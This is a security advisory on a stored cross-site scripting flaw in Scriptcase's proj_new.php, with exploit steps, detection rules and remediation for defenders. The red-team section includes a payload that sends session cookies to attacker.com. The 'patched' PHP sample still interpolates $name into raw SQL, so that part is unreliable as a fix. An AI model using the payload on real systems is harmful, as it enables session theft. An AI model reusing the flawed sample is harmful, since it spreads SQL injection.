CVE-2024-46079

Executive Summary

CVE-2024-46079 is a stored Cross-Site Scripting (XSS) vulnerability in Scriptcase v9.10.023 and earlier. The flaw exists in the proj_new.php file, where the Descricao parameter is not properly sanitized before being stored and later rendered in the application. An attacker can inject arbitrary JavaScript code, which will execute in the context of any administrator or user who views the affected project description. This can lead to session hijacking, credential theft, or further compromise of the Scriptcase instance. No official patch has been released by the vendor.

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a direct vulnerability in the Scriptcase web application.

CVSS Breakdown & Threat Level

CVSS v3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – The attacker does not need to be authenticated.
• User Interaction (UI): Required (R) – The victim must view the malicious project description.
• Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited information disclosure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium (5.4)

Deep Dive & Mechanics

The vulnerability resides in the proj_new.php file, which is used to create new projects in Scriptcase. The Descricao (Description) parameter is accepted from user input and stored in the database without proper sanitization or encoding. When the project description is later displayed on the project management page, the injected script is executed in the user's browser.

Root Cause: The application fails to escape or validate the Descricao parameter before storing it. This allows an attacker to inject HTML and JavaScript.

Attack Flow:

1. An attacker crafts a malicious payload, e.g., <script>alert('XSS')</script>.
2. The attacker submits the payload via the Descricao parameter in proj_new.php.
3. The payload is stored in the database.
4. An administrator or other user navigates to the project list or detail page.
5. The stored payload is rendered in the browser, executing the attacker's JavaScript.

Impact: The attacker can steal session cookies, perform actions on behalf of the victim, deface the application, or redirect users to malicious sites.

Vulnerable vs. Patched Code

Vulnerable Code (proj_new.php):

<?php
// No sanitization of Descricao
$descricao = $_POST['Descricao'];
$sql = "INSERT INTO projects (name, description) VALUES ('$name', '$descricao')";
mysqli_query($conn, $sql);
?>

Patched Code (proj_new.php):

<?php
// Sanitize Descricao using htmlspecialchars
$descricao = htmlspecialchars($_POST['Descricao'], ENT_QUOTES, 'UTF-8');
$sql = "INSERT INTO projects (name, description) VALUES ('$name', '$descricao')";
mysqli_query($conn, $sql);
?>

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running instance of Scriptcase v9.10.023 or earlier.
• Access to the proj_new.php page (requires authentication or public access).

Exploit Steps:

1. Navigate to http://target/scriptcase/proj_new.php.
2. Fill in the project name and set the Descricao parameter to:

   <script>alert(document.cookie)</script>
   

3. Submit the form.
4. When an administrator views the project list, the script executes.

Advanced Payload (Session Hijacking):

<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team

Detection:

• Monitor HTTP POST requests to proj_new.php for suspicious Descricao parameters containing <script>, onerror, or other HTML event handlers.
• Use WAF rules to block common XSS patterns.

Mitigation:

• Apply input validation and output encoding.
• Implement Content Security Policy (CSP) headers.
• Restrict access to proj_new.php to trusted users only.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /scriptcase/proj_new.php with Descricao containing <script> tags.
  • Outbound connections to attacker-controlled domains from the Scriptcase server.
• File IOCs:
  • Log entries in web server logs showing Descricao parameter with HTML/JavaScript.
• Behavioral IOCs:
  • Unexpected JavaScript execution in the browser when viewing project descriptions.
  • Unauthorized project modifications or deletions.

Detection Engineering

YARA Rule

rule CVE_2024_46079_XSS_Descricao {
    meta:
        description = "Detects XSS payload in Descricao parameter for CVE-2024-46079"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-46079"
    strings:
        $xss1 = /Descricao=.*<script>/i
        $xss2 = /Descricao=.*onerror=/i
        $xss3 = /Descricao=.*onload=/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-46079 XSS in Scriptcase Descricao Parameter
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects XSS attempts via Descricao parameter in Scriptcase proj_new.php
author: Valters IT
date: 2024/10/27
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: proj_new.php
        cs-uri-query|contains|all:
            - Descricao
            - '<script'
    condition: selection
falsepositives:
    - Legitimate use of HTML in description (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-46079 Scriptcase XSS in Descricao"; flow:to_server,established; content:"POST"; http_method; content:"proj_new.php"; http_uri; content:"Descricao"; http_client_body; pcre:"/Descricao=.*<script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Input Validation: Sanitize the Descricao parameter using htmlspecialchars() or a similar function.
2. Output Encoding: Encode all user-supplied data before rendering in HTML.
3. Content Security Policy (CSP): Implement a strict CSP to block inline scripts.
4. Web Application Firewall (WAF): Deploy WAF rules to block XSS payloads.

Long-Term Actions:

1. Upgrade: Monitor Scriptcase for an official patch and upgrade immediately.
2. Code Review: Conduct a security audit of all user input handling.
3. Security Training: Educate developers on secure coding practices.

Workaround:

• Restrict access to proj_new.php to authenticated administrators only.
• Disable the description field if not required.

Valters IT